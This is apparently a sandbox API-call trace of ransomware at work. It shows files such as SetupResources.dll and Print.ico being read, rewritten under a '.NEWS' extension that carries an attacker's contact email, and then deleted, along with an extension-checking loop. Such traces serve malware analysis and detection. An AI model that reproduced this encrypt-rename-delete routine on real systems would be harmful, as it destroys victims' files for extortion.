[0064.561] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.561] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.562] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.562] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0064.565] GetLastError () returned 0x0 [0064.565] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x3d58, lpOverlapped=0x0) returned 1 [0064.567] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x3d60, lpOverlapped=0x0) returned 1 [0064.568] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.568] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.568] SetEndOfFile (hFile=0x348) returned 1 [0064.569] CloseHandle (hObject=0x348) returned 1 [0064.570] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.570] SetEndOfFile (hFile=0x330) returned 1 [0064.571] CloseHandle (hObject=0x330) returned 1 [0064.571] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.571] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 1 [0064.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.571] lstrlenW (lpString=".doc") returned 4 [0064.571] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.571] lstrlenW (lpString=".docx") returned 5 [0064.571] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.571] lstrlenW (lpString=".pdf") returned 4 [0064.571] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.571] lstrlenW (lpString=".xls") returned 4 [0064.571] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.571] lstrlenW (lpString=".xlsx") returned 5 [0064.571] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.571] lstrlenW (lpString=".ppt") returned 4 [0064.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.572] lstrlenW (lpString=".zip") returned 4 [0064.572] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString=".rar") returned 4 [0064.572] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString=".bz2") returned 4 [0064.572] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.572] lstrlenW (lpString=".7z") returned 3 [0064.572] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.572] lstrlenW (lpString=".dbf") returned 4 [0064.572] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.572] lstrlenW (lpString=".1cd") returned 4 [0064.572] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.572] lstrlenW (lpString=".jpg") returned 4 [0064.572] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.572] lstrlenW (lpString=".doc") returned 4 [0064.572] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString=".docx") returned 5 [0064.572] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.572] lstrlenW (lpString=".pdf") returned 4 [0064.572] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString=".xls") returned 4 [0064.572] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString=".xlsx") returned 5 [0064.572] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.572] lstrlenW (lpString=".ppt") returned 4 [0064.572] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.572] lstrlenW (lpString=".zip") returned 4 [0064.572] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.572] lstrlenW (lpString=".rar") returned 4 [0064.572] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.573] lstrlenW (lpString=".bz2") returned 4 [0064.573] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.573] lstrlenW (lpString=".7z") returned 3 [0064.573] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.573] lstrlenW (lpString=".dbf") returned 4 [0064.573] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.573] lstrlenW (lpString=".1cd") returned 4 [0064.573] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.573] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0064.573] lstrlenW (lpString=".jpg") returned 4 [0064.573] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.573] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.573] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.573] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=15192) returned 1 [0064.573] CloseHandle (hObject=0x330) returned 1 [0064.573] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0064.573] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.573] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.574] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.574] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.574] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0064.574] GetLastError () returned 0x0 [0064.574] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x3b58, lpOverlapped=0x0) returned 1 [0064.576] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x3b60, lpOverlapped=0x0) returned 1 [0064.577] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.577] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.577] SetEndOfFile (hFile=0x348) returned 1 [0064.577] CloseHandle (hObject=0x348) returned 1 [0064.578] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.578] SetEndOfFile (hFile=0x330) returned 1 [0064.579] CloseHandle (hObject=0x330) returned 1 [0064.579] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.579] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString=".doc") returned 4 [0064.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.580] lstrlenW (lpString=".docx") returned 5 [0064.580] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.580] lstrlenW (lpString=".pdf") returned 4 [0064.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.580] lstrlenW (lpString=".xls") returned 4 [0064.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.580] lstrlenW (lpString=".xlsx") returned 5 [0064.580] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.580] lstrlenW (lpString=".ppt") returned 4 [0064.580] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString=".zip") returned 4 [0064.580] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.580] lstrlenW (lpString=".rar") returned 4 [0064.580] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.580] lstrlenW (lpString=".bz2") returned 4 [0064.580] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.580] lstrlenW (lpString=".7z") returned 3 [0064.580] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString=".dbf") returned 4 [0064.580] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString=".1cd") returned 4 [0064.580] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString=".jpg") returned 4 [0064.580] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.580] lstrlenW (lpString=".doc") returned 4 [0064.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.581] lstrlenW (lpString=".docx") returned 5 [0064.581] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.581] lstrlenW (lpString=".pdf") returned 4 [0064.581] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.581] lstrlenW (lpString=".xls") returned 4 [0064.581] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.581] lstrlenW (lpString=".xlsx") returned 5 [0064.581] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.581] lstrlenW (lpString=".ppt") returned 4 [0064.581] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.581] lstrlenW (lpString=".zip") returned 4 [0064.581] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.581] lstrlenW (lpString=".rar") returned 4 [0064.581] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.581] lstrlenW (lpString=".bz2") returned 4 [0064.581] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.581] lstrlenW (lpString=".7z") returned 3 [0064.581] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.581] lstrlenW (lpString=".dbf") returned 4 [0064.581] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.581] lstrlenW (lpString=".1cd") returned 4 [0064.581] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0064.581] lstrlenW (lpString=".jpg") returned 4 [0064.581] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.581] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0064.581] lstrlenW (lpString="SetupResources.dll") returned 18 [0064.581] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.584] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=19288) returned 1 [0064.584] CloseHandle (hObject=0x330) returned 1 [0064.584] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0064.584] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.584] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.584] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.584] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0064.584] GetLastError () returned 0x0 [0064.584] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4b58, lpOverlapped=0x0) returned 1 [0064.971] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4b60, lpOverlapped=0x0) returned 1 [0064.973] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.974] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf8, lpOverlapped=0x0) returned 1 [0064.974] SetEndOfFile (hFile=0x348) returned 1 [0064.974] CloseHandle (hObject=0x348) returned 1 [0064.976] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.976] SetEndOfFile (hFile=0x330) returned 1 [0064.980] CloseHandle (hObject=0x330) returned 1 [0064.980] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.981] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0064.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.981] lstrlenW (lpString=".doc") returned 4 [0064.981] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.981] lstrlenW (lpString=".docx") returned 5 [0064.981] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.981] lstrlenW (lpString=".pdf") returned 4 [0064.981] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.981] lstrlenW (lpString=".xls") returned 4 [0064.981] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.981] lstrlenW (lpString=".xlsx") returned 5 [0064.981] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.981] lstrlenW (lpString=".ppt") returned 4 [0064.981] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.981] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.981] lstrlenW (lpString=".zip") returned 4 [0064.981] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.981] lstrlenW (lpString=".rar") returned 4 [0064.981] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.981] lstrlenW (lpString=".bz2") returned 4 [0064.981] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.982] lstrlenW (lpString=".7z") returned 3 [0064.982] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.982] lstrlenW (lpString=".dbf") returned 4 [0064.982] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.982] lstrlenW (lpString=".1cd") returned 4 [0064.982] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.982] lstrlenW (lpString=".jpg") returned 4 [0064.982] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.982] lstrlenW (lpString=".doc") returned 4 [0064.982] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0064.982] lstrlenW (lpString=".docx") returned 5 [0064.982] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0064.982] lstrlenW (lpString=".pdf") returned 4 [0064.982] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0064.982] lstrlenW (lpString=".xls") returned 4 [0064.982] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0064.982] lstrlenW (lpString=".xlsx") returned 5 [0064.982] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0064.982] lstrlenW (lpString=".ppt") returned 4 [0064.982] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0064.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.982] lstrlenW (lpString=".zip") returned 4 [0064.982] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0064.982] lstrlenW (lpString=".rar") returned 4 [0064.982] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0064.982] lstrlenW (lpString=".bz2") returned 4 [0064.982] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0064.982] lstrlenW (lpString=".7z") returned 3 [0064.982] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0064.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.983] lstrlenW (lpString=".dbf") returned 4 [0064.983] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0064.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.983] lstrlenW (lpString=".1cd") returned 4 [0064.983] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0064.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0064.983] lstrlenW (lpString=".jpg") returned 4 [0064.983] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0064.983] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0064.983] lstrlenW (lpString="Print.ico") returned 9 [0064.983] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.984] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1150) returned 1 [0064.984] CloseHandle (hObject=0x330) returned 1 [0064.984] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0064.985] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0064.985] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.985] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0064.985] GetLastError () returned 0x0 [0064.985] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x47e, lpOverlapped=0x0) returned 1 [0064.987] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x480, lpOverlapped=0x0) returned 1 [0064.988] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0064.988] WriteFile (in: hFile=0x348, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe6, lpOverlapped=0x0) returned 1 [0064.988] SetEndOfFile (hFile=0x348) returned 1 [0064.988] CloseHandle (hObject=0x348) returned 1 [0064.989] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0064.989] SetEndOfFile (hFile=0x330) returned 1 [0064.990] CloseHandle (hObject=0x330) returned 1 [0064.990] 